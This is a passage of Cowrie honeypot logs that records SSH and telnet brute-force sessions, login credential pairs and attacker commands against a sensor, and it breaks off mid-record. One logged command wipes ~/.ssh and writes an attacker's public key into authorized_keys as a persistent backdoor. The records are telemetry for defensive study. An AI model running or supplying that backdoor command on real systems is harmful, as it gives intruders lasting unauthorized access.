{"eventid":"cowrie.login.success","username":"oracle","password":"I2KPwdO3","message":"login attempt [oracle/I2KPwdO3] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:57:28.360460Z","src_ip":"101.36.119.184","session":"2b7478c55966","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:57:28.834635Z","src_ip":"101.36.119.184","session":"2b7478c55966","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:57:28.837646Z","src_ip":"101.36.119.184","session":"2b7478c55966","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:57:28.841100Z","src_ip":"101.36.119.184","session":"2b7478c55966","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:57:29.061648Z","src_ip":"101.36.119.184","session":"2b7478c55966","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:57:29.531314Z","src_ip":"101.36.119.184","session":"2b7478c55966","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:57:29.535075Z","src_ip":"101.36.119.184","session":"2b7478c55966","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:57:29.757981Z","src_ip":"101.36.119.184","session":"2b7478c55966","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:57:29.761735Z","src_ip":"101.36.119.184","session":"2b7478c55966","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.119.184","src_port":38942,"dst_ip":"10.17.0.5","dst_port":22,"session":"4305c2b0f163","protocol":"ssh","message":"New connection: 101.36.119.184:38942 (10.17.0.5:22) [session: 4305c2b0f163]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:57:29.970021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:57:29.975377Z","src_ip":"101.36.119.184","session":"4305c2b0f163","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:57:30.194417Z","src_ip":"101.36.119.184","session":"4305c2b0f163","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:57:31.092839Z","src_ip":"101.36.119.184","session":"4305c2b0f163","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:57:32.314794Z","src_ip":"101.36.119.184","session":"4305c2b0f163","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.119.184","src_port":39764,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb9ac6225b7f","protocol":"ssh","message":"New connection: 101.36.119.184:39764 (10.17.0.5:22) [session: bb9ac6225b7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:57:32.529194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:57:32.533897Z","src_ip":"101.36.119.184","session":"bb9ac6225b7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:57:32.752425Z","src_ip":"101.36.119.184","session":"bb9ac6225b7f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:57:33.672700Z","src_ip":"101.36.119.184","session":"bb9ac6225b7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:57:33.894262Z","src_ip":"101.36.119.184","session":"bb9ac6225b7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.7","message":"Connection lost after 6.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:57:33.898814Z","src_ip":"101.36.119.184","session":"2b7478c55966","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":42502,"dst_ip":"10.17.0.5","dst_port":22,"session":"f62ee379c365","protocol":"ssh","message":"New connection: 2.57.122.210:42502 (10.17.0.5:22) [session: f62ee379c365]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:57:39.864235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:57:39.967318Z","src_ip":"2.57.122.210","session":"f62ee379c365","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:57:40.069627Z","src_ip":"2.57.122.210","session":"f62ee379c365","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"trader","password":"trader","message":"login attempt [trader/trader] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:57:41.034282Z","src_ip":"2.57.122.210","session":"f62ee379c365","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:57:41.747627Z","src_ip":"2.57.122.210","session":"f62ee379c365","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:57:41.751947Z","src_ip":"2.57.122.210","session":"f62ee379c365","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:57:41.898159Z","src_ip":"2.57.122.210","session":"f62ee379c365","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:57:41.904376Z","src_ip":"2.57.122.210","session":"f62ee379c365","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0089521408081,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:57:49.533549Z","src_ip":"212.55.149.117","session":"371a5cba0eee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.190","src_port":32754,"dst_ip":"10.17.0.5","dst_port":22,"session":"c22741fa6f23","protocol":"ssh","message":"New connection: 176.65.132.190:32754 (10.17.0.5:22) [session: c22741fa6f23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:57:51.415099Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:57:51.419862Z","src_ip":"176.65.132.190","session":"c22741fa6f23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.119.184","src_port":54534,"dst_ip":"10.17.0.5","dst_port":22,"session":"83c6a57cbf16","protocol":"ssh","message":"New connection: 101.36.119.184:54534 (10.17.0.5:22) [session: 83c6a57cbf16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:58:15.259615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:58:15.273776Z","src_ip":"101.36.119.184","session":"83c6a57cbf16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:58:15.509574Z","src_ip":"101.36.119.184","session":"83c6a57cbf16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"developer","message":"login attempt [dev/developer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:58:16.412654Z","src_ip":"101.36.119.184","session":"83c6a57cbf16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:58:17.633488Z","src_ip":"101.36.119.184","session":"83c6a57cbf16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":30704,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc1fa31c226d","protocol":"telnet","message":"New connection: 212.55.149.117:30704 (10.17.0.5:23) [session: bc1fa31c226d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:58:28.114493Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":23463,"dst_ip":"10.17.0.5","dst_port":23,"session":"639fa07eb270","protocol":"telnet","message":"New connection: 212.55.149.117:23463 (10.17.0.5:23) [session: 639fa07eb270]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:58:42.676261Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":53622,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7a835d21fb8","protocol":"ssh","message":"New connection: 103.15.226.202:53622 (10.17.0.5:22) [session: d7a835d21fb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:58:58.252627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:58:58.257815Z","src_ip":"103.15.226.202","session":"d7a835d21fb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:58:58.508496Z","src_ip":"103.15.226.202","session":"d7a835d21fb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"000000","message":"login attempt [root/000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:58:59.260776Z","src_ip":"103.15.226.202","session":"d7a835d21fb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00202512741089,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:58:59.506809Z","src_ip":"212.55.149.117","session":"5a74f231bd39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:59:00.513696Z","src_ip":"103.15.226.202","session":"d7a835d21fb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":4340,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ec3b9e1195f","protocol":"telnet","message":"New connection: 212.55.149.117:4340 (10.17.0.5:23) [session: 3ec3b9e1195f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:59:02.845629Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.119.184","src_port":15914,"dst_ip":"10.17.0.5","dst_port":22,"session":"7898826bb5ce","protocol":"ssh","message":"New connection: 101.36.119.184:15914 (10.17.0.5:22) [session: 7898826bb5ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:59:03.828792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:59:03.835056Z","src_ip":"101.36.119.184","session":"7898826bb5ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@opens